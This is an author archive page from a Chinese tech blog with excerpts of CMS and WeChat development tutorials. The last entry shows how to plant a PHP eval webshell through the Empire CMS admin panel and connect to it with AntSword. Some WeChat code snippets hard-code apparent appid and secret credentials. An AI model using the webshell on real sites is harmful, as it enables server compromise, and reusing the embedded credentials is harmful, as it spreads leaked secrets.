作者文章

fwq

FWQ
CMS教程
如何使用DEDE织梦计划任务功能定时更新首页
如何使用dede织梦计划任务功能定时更新首页? dedecms织梦系统后台有个计划任务功能,相信很多人都不知道怎么用,里面也没有详细说明,这里就通过实际案例来讲解如何使用计划任务让网站每5分钟自动更新首页。 推荐学习: 定时更新首页index.html文件,更新的好处就是可以让搜索引擎蜘蛛在爬取index.html的时候,不会返回状态码304 ,搜索引擎会判断你HTML文件的更新时间来与之前索引的时间做对比如果有更新就收录,没更新就置304状态不更新。 下面详细说明计划任务如何使用: 首先进入后台-系统-计划任务管理 进去后可以看到有一个计划任务执行的说明:  计划任务执行的说明 为了确保任务能执行完全,建议使用Dede的客户端工具,否则只能通过JS触发,但JS触发有很多不确定因素会导致任务不能完成; JS触发方式:在所有文档页面中用JS调用/plus/task.php?client=js(必须禁用计划任务的密码,系统配置参数->其它选项); 自行定制客户端:直接访问“http://网址/plus/task.php?clientpwd=管理密码”,会返回其中一个可执行任务的网址(没有可用任务则返回串:notask),然后客户端运行这个网址即可。 接下来我们新建一个计划任务,任务需要有一个PHP执行文件,用来生成网站首页: plus.zip 把附件解压开后的dede-post.php 文件上传到网站目录下的plus/task/里 为了可以让网站每隔5分钟更新一次我们还需要修改文件plus/task/task.php 打开task.php把这个$daylimit参数改成300秒——$daylimit = 300;如果需要改成其他时间也可以自己修改,然后上传。到这里基本任务执行的条件都有了,还差一个触发方式。这里我们选择使用JS文件触发方式,这种方式只要有访客访问到就能触发到。如果你网站经常没人访问那就只能手动去访问触发。 我们把代码: 复制放到底部模板footer.htm 里面即可。 这样每当有人访问你的网站的时候就会触发这个JS,让你的执行程序运行一下,也就是网站自动更新了。 以上就是如何使用DEDE织梦计划任务功能定时更新首页的详细内容,更多请关注米云其它相关文章!
2024-11-25 阅读全文 →
FWQ
CMS教程
wordpress怎么看文章浏览量
您可以使用以下方法查看 wordpress 文章的浏览量:使用 wordpress 内置的统计数据功能,在文章列表的“视图”列中查看浏览次数。安装 google analytics for wordpress 插件,连接到 google analytics 以获取更详细的流量数据。使用第三方流量分析工具,如 hotjar,或者查看您的网络服务器日志文件以获取浏览量信息。 如何查看 WordPress 文章浏览量 直接方法: 使用 WordPress 内置的统计数据功能。 登录您的 WordPress 仪表盘。 转到“仪表盘”>“文章”>“所有文章”。 每个文章标题旁都会显示一个“视图”列,显示文章的浏览次数。 使用插件: 安装和激活…
2024-11-25 阅读全文 →
FWQ
小程序
微信开发之上传临时素材介绍
主要为大家详细介绍了微信开发之简单实现临时素材的相关资料,有具体的代码分析,供大家参考。 public function uploadImg($imgUrl){     $TOKEN=$this->getAccessToken();   $URL ='http://file.api.weixin.qq.com/cgi-bin/media/upload?access_token='.$TOKEN.'&type=image';   $data = array('media'=>'@'.$imgUrl);   $result = $this->curl_post($URL,$data);   $data = @json_decode($result,true);       return $data['media_id'];  }    public function getAccessToken(){     $url = 'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=wxe574b1bd35d7d4da&secret=d4624c36b6795d1d99dcf0547af5443d';       $result = json_decode($this->curlGet($url),true);     return $result['access_token'];  }    function curl_post($url, $data = null) {  //创建一个新cURL资源  $curl = curl_init();  //设置URL和相应的选项  curl_setopt($curl, CURLOPT_URL, $url);  if (!empty($data)){…
2024-11-25 阅读全文 →
FWQ
小程序
最新整理出的微信分享后端接口实现的大致流程
微信分享后台接口简单实现 此接口大致的流程是:用户创建时间戳,随机字符串,当前需要分享的页面的url三个变量,接着将自己的appid和APPsecret作为请求参数获取access_token,再根据access_token获取jsapi_ticket, 并将获取的jsapi-ticket进行加密、校验以及自己创建的三个变量进行签名,注意签名过程案按照 key 值 ASCII 码升序排序封装成json格式的数据传送到前台JS页面,具体程序如下; public class WeiXinShareAction extends HttpServlet {     private static final long serialVersionUID = 1L;     private Integer main_count = 888;     private String flag = "1";     private Log logger = LogFactory.getLog(this.getClass());     private String filePath = "/B.txt";     protected void doGet(HttpServletRequest request, HttpServletResponse response)             throws ServletException, IOException {         JsonObject jsonObject = new JsonObject();         String ticket = null;         String[] wxInfo = new String[] { "wx007344f87ae48300", "5442edc712b6846bdd1c058b7f2318fe" };         WeiXinUtil wxu = new WeiXinUtil();         String ticketResString;         try {             ticketResString = wxu.getShareJsapiTicket(wxInfo);             if (StringUtils.isNotEmpty(ticketResString)) {                 JSONObject ticketJSONObject = JSONObject.fromObject(ticketResString);                 if (ticketJSONObject.getInt("errcode") == 0) {                     ticket = JSONObject.fromObject(ticketResString).getString("ticket");                 }             }…
2024-11-25 阅读全文 →
FWQ
CMS教程
织梦dedecms中自定义表单必填项怎么设置
织梦dedecms中自定义表单必填项怎么设置? 本文实例讲述了织梦dedecms中自定义表单必填项的设置方法。分享给大家供大家参考。具体实现方法如下: 推荐学习: 先说下,已经试过确定有效: 1.编辑器打开plusdiy.php 2.在40行左右找到此行代码: $dede_fields = empty($dede_fields) ? '' : trim($dede_fields); 登录后复制 3.在这一行代码之下,加入代码,复制的话删掉代码中的空行. 代码如下: //增加必填字段判断  if($required!=''){  if(preg_match('/,/', $required))  {  $requireds = explode(',',$required);  foreach($requireds as $field){  if($$field==''){  showMsg('带*号的为必填内容,请正确填写', '-1');  exit();  }  }  }else{  if($required==''){  showMsg('带*号的为必填内容,请正确填写', '-1');  exit();  }  }  } …
2024-11-25 阅读全文 →
FWQ
小程序
你应该知道的微信小程序概念篇
什么是小程序 微信小程序简称小程序,英文名mini program,也被称为微信应用号,不同于微信订阅号或公众号,微信小程序被赋予了应用程序的能力,它是一种不需要下载安装即可使用的应用,它实现了应用“触手可及”的梦想,用户扫一扫或搜一下即可打开应用;也体现了“用完即走”的理念,用户不再需要关心是否安装太多应用的问题。 应用将无处不在,随时随地可用,无需卸载 小程序发展时间轴 2016年1月9日,腾讯公司启动了微信小程序产品的研发,提出应用号的概念2016年9月22日,微信公众平台对外发送小程序内测邀请,内测名额200个2016年11月3日,微信小程序对外公测,开发完成后可以提交审核,但公测期间不能发布2016年12月28日,张小龙在微信公开课中解答外界对微信小程序的几大疑惑,包括没有应用商店、没有推送消息等2016年12月30日,微信公众平台对外公告,上线的微信小程序最多可生成10000个带参数的二维码2017年1月9日,微信小程序正式上线2017年3月27日,微信小程序开放了个人账号申请,从此以后,不是企业也能开发小程序2017年3月28日,微信小程序开放了蓝牙、卡卷、获知访问场景、共享微信通讯录等功能,并支持JS ES6新语法2017年4月17日,微信小程序代码包的大小限制从1MB提升到2MB,开发了第三方平台开发小程序的功能,开放了数据分析接口2017年4月20日,微信小程序对所有公众号都开放了关联小程序的功能2017年4月25日,微信小程序开放了公众号推送文章可插入小程序的功能2017年5月19日,微信小程序可支持蓝牙2017年6月21日,微信小程序开放了打开另一个小程序的功能2017年7月11日,微信小程序添加了富文本支持…. 微信小程序能否取代APP 这个标题老生常谈了,但是还是要说下,原生APP一般要同时开发IOS和Android两版,而小程序只需要做一版,这是小程序最大的优势,从这个角度看,小程序是“跨平台”的,在现阶段,小程序的开发效率低于APP,小程序独立出了一个封闭的生态,缺乏成熟的组件,统计、绘图组件,以前的echarts都无法使用,想要取代APP还要很长的路要走 最新小程序框架 mpvue 是一个使用 Vue.js 开发小程序的前端框架。框架基于 Vue.js 核心,mpvue 修改了 Vue.js 的 runtime 和 compiler 实现,使其可以运行在小程序环境中,从而为小程序开发引入了整套 Vue.js 开发体验。 Taro 是由京东 –…
2024-11-25 阅读全文 →
FWQ
小程序
asp.net微信开发消息应答的技巧
这篇文章主要介绍了asp.net微信开发中有关消息应答的相关内容,需要的朋友可以参考下 当普通微信用户向公众账号发消息时,微信服务器将POST消息的XML数据包到开发者填写的URL上。请注意: 1、关于重试的消息排重,推荐使用msgid排重。 2、微信服务器在五秒内收不到响应会断掉连接,并且重新发起请求,总共重试三次。假如服务器无法保证在五秒内处理并回复,可以直接回复空串,微信服务器不会对此作任何处理,并且不会发起重试。详情请见“发送消息-被动回复消息”。 3、为了保证更高的安全保障,开发者可以在公众平台官网的开发者中心处设置消息加密。开启加密后,用户发来的消息会被加密,公众号被动回复用户的消息也需要加密(但开发者通过客服接口等API调用形式向用户发送消息,则不受影响)。关于消息加解密的详细说明,请见“消息加解密说明”。 各消息类型的推送XML数据包结构如下:文本消息  <xml>  <tousername></tousername>  <fromusername></fromusername>   <createtime>1348831860</createtime>  <msgtype></msgtype>  <content></content>  <msgid>1234567890123456</msgid>  </xml> 登录后复制   图片消息  <xml>  <tousername></tousername>  <fromusername></fromusername>  <createtime>1348831860</createtime>  <msgtype></msgtype>  <picurl></picurl>  <mediaid></mediaid>  <msgid>1234567890123456</msgid>  </xml> 登录后复制   语音消息…
2024-11-25 阅读全文 →
FWQ
CMS教程
帝国cms中常用标签(总结)
相关推荐:《教程》 对首页、列表页、内容页这三个页面模板支持的变量是不同的,有的是通用的,有的不是通用的,本文就这三个模板常用的变量列于此,另外灵动标签很好用啊,也顺便收藏于此,以备后用,到时不用到处翻来翻去的。 1、首页支持的变量 网站名称:[!–pagetitle–] 网站地址:[!–news.url–] 一级栏目导航:[!–class.menu–] 页面关键字:[!–pagekey–] 页面描述:[!–pagedes–]   2、列表页支持的变量 2.1、列表之页面模板支持的常用标签 页面标题:[!–pagetitle–] 页面关键字:[!–pagekey–] 页面描述:[!–pagedes–] 栏目名:[!–class.name–] 导航条:[!–newsnav–] 栏目/专题简介:[!–class.intro–] 本栏目/专题ID:[!–self.classid–] 栏目/专题关键字:[!–class.keywords–] 栏目/专题缩略图:[!–class.classimg–] 分页导航(下拉式):[!–show.page–] 分页导航(列表式):[!–show.listpage–]   2.2、列表内容模板(list.var)支持的常用变量 信息ID:[!–id–] 标题链接:[!–titleurl–] 标题ALT(不截取字符):[!–oldtitle–] 栏目ID:[!–classid–]…
2024-11-25 阅读全文 →
FWQ
小程序
微信开发之springmvc mybatis项目结构搭建的java代码详解
这篇文章主要为大家详细介绍了开发准备第二步,springmvc和mybatis项目结构的搭建,具有一定的参考价值,感兴趣的小伙伴们可以参考一下 前面一篇有说道如何在MyEclipse中搭建maven项目,这里将继续介绍如何在搭建好的基础maven项目中引入我们常用的javaweb框架——SpringMVC! ①在建立好的maven项目中的pom.xml文件引入依赖,代码如下: <project>  <modelversion>4.0.0</modelversion>  <groupid>wechat.cuiyongzhi.com</groupid>  <artifactid>wechat</artifactid>  <packaging>war</packaging>  <version>0.0.1-SNAPSHOT</version>  <name>wechat</name>  <url>http://maven.apache.org</url>  <dependencies>   <!-- spring -->   <dependency>    <groupid>org.springframework</groupid>    <artifactid>spring-test</artifactid>    <version>3.2.0.RELEASE</version>   </dependency>   <dependency>    <groupid>org.springframework</groupid>    <artifactid>spring-webmvc</artifactid>    <version>3.2.0.RELEASE</version>   </dependency>   <dependency>    <groupid>org.springframework</groupid>    <artifactid>spring-core</artifactid>…
2024-11-25 阅读全文 →
FWQ
CMS教程
浅谈帝国cms框架的Webshell
本篇文章给大家介绍一下框架的webshell。有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。 相关推荐:《》 1:登录 后台地址:127.0.0.1/empirecms/e/admin登录界面 2:webshell 选择进入后台地图-管理自定义页面 增加自定义页面 这里要用’写入一句话木马 <?php fputs(fopen("shell.php","a"),'<?php phpinfo();eval($_POST[cmd]);?>')?> 登录后复制 然后访问: http://127.0.0.1/empirecms/e/admin/shell.php 登录后复制 用蚁剑连接 可以看到成功连接 更多编程相关知识,请访问:!! 以上就是浅谈框架的Webshell的详细内容,更多请关注米云其它相关文章!
2024-11-25 阅读全文 →